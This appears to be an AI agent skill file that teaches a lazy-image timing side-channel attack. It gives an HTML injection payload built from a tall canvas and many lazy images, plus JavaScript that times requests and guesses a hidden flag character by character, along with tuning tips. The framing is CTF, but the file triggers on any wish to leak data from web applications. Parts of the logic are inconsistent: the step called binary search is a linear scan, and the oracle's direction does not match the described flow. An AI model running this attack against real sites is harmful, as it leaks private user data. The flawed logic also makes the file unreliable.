| name | lazy-image-sidechannel |
| description | How to perform timing-based side-channel attacks using lazy image loading and event loop blocking. Use this skill whenever the user mentions timing attacks, side-channel exploits, lazy loading vulnerabilities, image loading timing, event loop blocking, or wants to leak data through timing differences in web applications. This is especially useful for CTF challenges involving HTML injection with timing oracles, or when you need to extract hidden data through performance-based side channels. |
Lazy Image Side-Channel Attack
This skill teaches you how to perform timing-based side-channel attacks that combine lazy image loading with event loop blocking to leak characters from hidden data.
When to Use This Technique
Use this attack when:
- You have HTML/XSS injection capability
- The target uses lazy image loading (
loading="lazy")
- You can measure request/response timing
- The application loads content in a predictable order (alphabetical, chronological, etc.)
- You need to extract hidden data character-by-character
Core Concept
The attack exploits how browsers handle lazy image loading:
- Lazy images only load when visible - Images with
loading="lazy" don't load until they scroll into viewport
- Event loop blocking - When many images load simultaneously, they block the Node.js event loop
- Timing oracle - Blocked event loop = slower responses, which you can measure
The Exploit Flow
┌─────────────────────────────────────────────────────────────┐
│ 1. Inject post with: │
│ - Character to test (e.g., "A" or "Z") │
│ - Large canvas (fills screen) │
│ - Many lazy images (at bottom, below fold) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. If injected post is FIRST (alphabetically): │
│ - Canvas fills screen │
│ - Lazy images are BELOW fold → NOT loaded │
│ - Event loop NOT blocked → FAST responses │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. If injected post is AFTER flag: │
│ - Flag post appears first │
│ - Canvas + lazy images are VISIBLE → images LOAD │
│ - Event loop BLOCKED → SLOW responses │
└─────────────────────────────────────────────────────────────┘
Attack Implementation
Step 1: Craft the Payload
${CHAR_TO_TEST}<br>
<canvas height="3350px"></canvas><br>
${LAZY_IMAGES}
Where LAZY_IMAGES is:
<img loading="lazy" src="/?0">
<img loading="lazy" src="/?1">
<img loading="lazy" src="/?2">
Key parameters to tune:
canvas height: Must be large enough to push images below fold when post is first
number of lazy images: More images = more event loop blocking = clearer timing difference
timing threshold: Measure on target to find the cutoff between "blocked" and "not blocked"
Step 2: Measure Timing
async function measureTiming(targetUrl, rounds = 30) {
let totalTime = 0;
for (let i = 0; i < rounds; i++) {
const start = performance.now();
await fetch(targetUrl + "/?test", { mode: "no-cors" });
const end = performance.now();
totalTime += (end - start);
}
return totalTime / rounds;
}
Step 3: Binary Search for Characters
const charset = "abcdefghijklmnopqrstuvwxyz{}0123456789";
let flag = "SEKAI{";
async function leakCharacter() {
for (const char of charset) {
const testString = flag + char;
const isBeforeFlag = await testCharacter(testString);
if (isBeforeFlag) {
flag += char;
break;
}
}
return flag;
}
Step 4: Test Character Position
async function testCharacter(testString) {
await injectPost(testString + payload);
await sleep(500);
for (let i = 0; i < 5; i++) {
window.open(targetUrl);
}
await sleep(200);
const avgTime = await measureTiming(targetUrl);
await removePost();
return avgTime >= THRESHOLD;
}
Tuning Parameters
Finding the Right Canvas Height
Test locally to find the height that:
- Shows images when post is NOT first (below flag)
- Hides images when post IS first (above flag)
const heights = [3000, 3200, 3350, 3500, 4000];
for (const h of heights) {
const canvas = `<canvas height="${h}px"></canvas>`;
}
Finding the Timing Threshold
Run multiple tests with known positions:
const timeA = await measureTiming();
const timeZ = await measureTiming();
const threshold = (timeA + timeZ) / 2;
Complete Exploit Template
See scripts/exploit-template.js for a ready-to-use template.
Common Pitfalls
- Threshold too tight - Network variance can cause false positives. Use multiple rounds and average.
- Canvas height wrong - Images may load in both cases or neither. Test locally first.
- Not enough lazy images - Event loop blocking may be too subtle. Use 20+ images.
- Timing measurements too few - Use 30+ rounds for reliable averages.
- Not cleaning up - Remove test posts between iterations to avoid breaking the oracle.
When This Won't Work
- Target doesn't use lazy image loading
- You can't inject HTML
- Content isn't loaded in predictable order
- Server doesn't have event loop blocking vulnerability
- CORS prevents timing measurements
Related Techniques
- Connection pool exhaustion - Similar timing oracle, different mechanism
- DNS side-channels - Use DNS queries instead of HTTP timing
- Cache timing attacks - Exploit cache hit/miss timing differences
References